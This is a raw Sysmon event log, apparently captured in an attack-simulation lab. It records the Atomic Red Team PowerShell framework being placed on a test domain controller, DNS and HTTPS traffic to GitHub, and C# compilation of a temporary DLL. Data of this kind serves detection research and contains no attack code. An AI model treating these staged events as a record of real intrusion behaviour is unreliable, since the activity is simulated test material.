09:10:34.848{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\invoke-atomicredteam-master\Public\Invoke-MalDoc.ps12020-10-09 09:10:34.848 11241100x80000000000000003610Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:34.848{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\invoke-atomicredteam-master\Public\Invoke-AtomicTest.ps12020-10-09 09:10:34.848 11241100x80000000000000003609Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:34.848{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\invoke-atomicredteam-master\Public\Get-AtomicTechnique.ps12020-10-09 09:10:34.848 11241100x80000000000000003608Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:34.848{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\invoke-atomicredteam-master\Private\Write-PrereqResults.ps12020-10-09 09:10:34.848 11241100x80000000000000003607Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:34.833{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\invoke-atomicredteam-master\Private\Write-KeyValue.ps12020-10-09 09:10:34.833 11241100x80000000000000003606Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:34.833{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\invoke-atomicredteam-master\Private\Write-ExecutionLog.ps12020-10-09 09:10:34.833 11241100x80000000000000003605Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:34.833{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\invoke-atomicredteam-master\Private\Show-Details.ps12020-10-09 09:10:34.833 11241100x80000000000000003604Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:34.833{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\invoke-atomicredteam-master\Private\Replace-InputArgs.ps12020-10-09 09:10:34.833 11241100x80000000000000003603Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:34.833{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\invoke-atomicredteam-master\Private\Invoke-Process.ps12020-10-09 09:10:34.833 11241100x80000000000000003602Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:34.833{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\invoke-atomicredteam-master\Private\Invoke-KillProcessTree.ps12020-10-09 09:10:34.833 11241100x80000000000000003601Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:34.833{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\invoke-atomicredteam-master\Private\Invoke-ExecuteCommand.ps12020-10-09 09:10:34.833 11241100x80000000000000003600Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:34.833{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\invoke-atomicredteam-master\Private\Invoke-CheckPrereqs.ps12020-10-09 09:10:34.833 11241100x80000000000000003599Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:34.833{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\invoke-atomicredteam-master\Private\Get-TargetInfo.ps12020-10-09 09:10:34.833 11241100x80000000000000003598Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:34.833{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\invoke-atomicredteam-master\Private\Get-PrereqExecutor.ps12020-10-09 09:10:34.833 11241100x80000000000000003597Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:34.833{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\invoke-atomicredteam-master\Private\AtomicClassSchema.ps12020-10-09 09:10:34.833 22542200x80000000000000003648Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:34.290{A5F018FF-2909-5F80-B800-000000007F01}4852github.com0::ffff:140.82.121.3;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 22542200x80000000000000003647Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.654{A5F018FF-2909-5F80-B800-000000007F01}4852raw.githubusercontent.com0type: 5 github.map.fastly.net;::ffff:151.101.112.133;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 354300x80000000000000003646Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.657{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-1796611.attackrange.local56386-false151.101.112.133-443https 11241100x80000000000000003645Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:35.145{A5F018FF-290B-5F80-B900-000000007F01}2996C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeC:\Users\Administrator\AppData\Local\Temp\y41xitbf\y41xitbf.dll2020-10-09 09:10:35.067 10341000x80000000000000003644Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:35.145{A5F018FF-2908-5F80-B100-000000007F01}46684684C:\Windows\system32\conhost.exe{A5F018FF-290B-5F80-BA00-000000007F01}4932C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003643Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:35.145{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003642Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:35.145{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003641Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:35.145{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003640Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:35.145{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003639Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:35.145{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003638Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:35.145{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003637Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:35.145{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003636Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:35.145{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003635Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:35.145{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003634Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:35.145{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-290B-5F80-BA00-000000007F01}4932C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003633Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:35.145{A5F018FF-290B-5F80-B900-000000007F01}29964124C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe{A5F018FF-290B-5F80-BA00-000000007F01}4932C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+b181|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3d58|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3ed0|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3fa6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+274e|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+27a0|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+28e4|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+7e38f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+45d22|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+448ef|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+445e6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+44303|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+18321|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+17b76|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+9e0d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+1edf02|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000003632Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:35.149{A5F018FF-290B-5F80-BA00-000000007F01}4932C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe12.00.52519.0 built by: VSWINSERVICINGMicrosoft® Resource File To COFF Object Conversion UtilityMicrosoft® .NET FrameworkMicrosoft CorporationCVTRES.EXEC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES43DA.tmp" "c:\Users\Administrator\AppData\Local\Temp\y41xitbf\CSCA98C2F24B29A453CBD9EE5377C5F126.TMP"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2908-5F80-2264-060000000000}0x664220HighMD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF{A5F018FF-290B-5F80-B900-000000007F01}2996C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\y41xitbf\y41xitbf.cmdline" 10341000x80000000000000003631Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:35.067{A5F018FF-2908-5F80-B100-000000007F01}46684684C:\Windows\system32\conhost.exe{A5F018FF-290B-5F80-B900-000000007F01}2996C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003630Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:35.067{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003629Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:35.067{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003628Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:35.067{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003627Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:35.067{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003626Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:35.067{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003625Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 